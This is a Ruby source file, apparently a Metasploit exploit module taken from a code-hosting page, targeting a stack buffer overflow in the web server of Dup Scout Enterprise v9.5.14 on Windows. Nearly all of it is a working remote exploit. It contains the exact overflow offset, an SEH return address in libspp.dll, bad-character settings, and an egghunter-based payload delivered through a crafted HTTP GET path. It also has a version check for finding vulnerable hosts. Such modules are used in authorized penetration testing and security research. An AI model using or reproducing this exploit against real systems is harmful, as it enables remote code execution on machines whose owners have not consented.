104 lines
2.7 KiB
Ruby
104 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Dup Scout Enterprise GET Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability
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in the web interface of Dup Scout Enterprise v9.5.14, caused by
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improper bounds checking of the request path in HTTP GET requests
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sent to the built-in web server. This module has been tested
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successfully on Windows 7 SP1 x86.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'vportal', # Vulnerability discovery and PoC
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'Daniel Teixeira' # Metasploit module
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
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'Space' => 500
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},
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'Targets' =>
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[
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[ 'Dup Scout Enterprise v9.5.14',
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{
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'Offset' => 2488,
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'Ret' => 0x10050ff3 # POP # POP # RET [libspp.dll]
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Mar 15 2017',
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => '/'
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)
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if res && res.code == 200
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version = res.body[/Dup Scout Enterprise v[^<]*/]
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if version
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vprint_status("Version detected: #{version}")
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if version =~ /9\.5\.14/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Detected
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end
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else
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vprint_error('Unable to determine due to a HTTP connection timeout')
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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eggoptions = {
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checksum: true,
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eggtag: rand_text_alpha(4, payload_badchars)
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}
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hunter, egg = generate_egghunter(
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payload.encoded,
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payload_badchars,
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eggoptions
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)
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sploit = rand_text_alpha(target['Offset'])
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sploit << generate_seh_record(target.ret)
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sploit << hunter
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sploit << make_nops(10)
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sploit << egg
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sploit << rand_text_alpha(5500)
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print_status('Sending request...')
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send_request_cgi(
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'method' => 'GET',
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'uri' => sploit
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)
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end
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end
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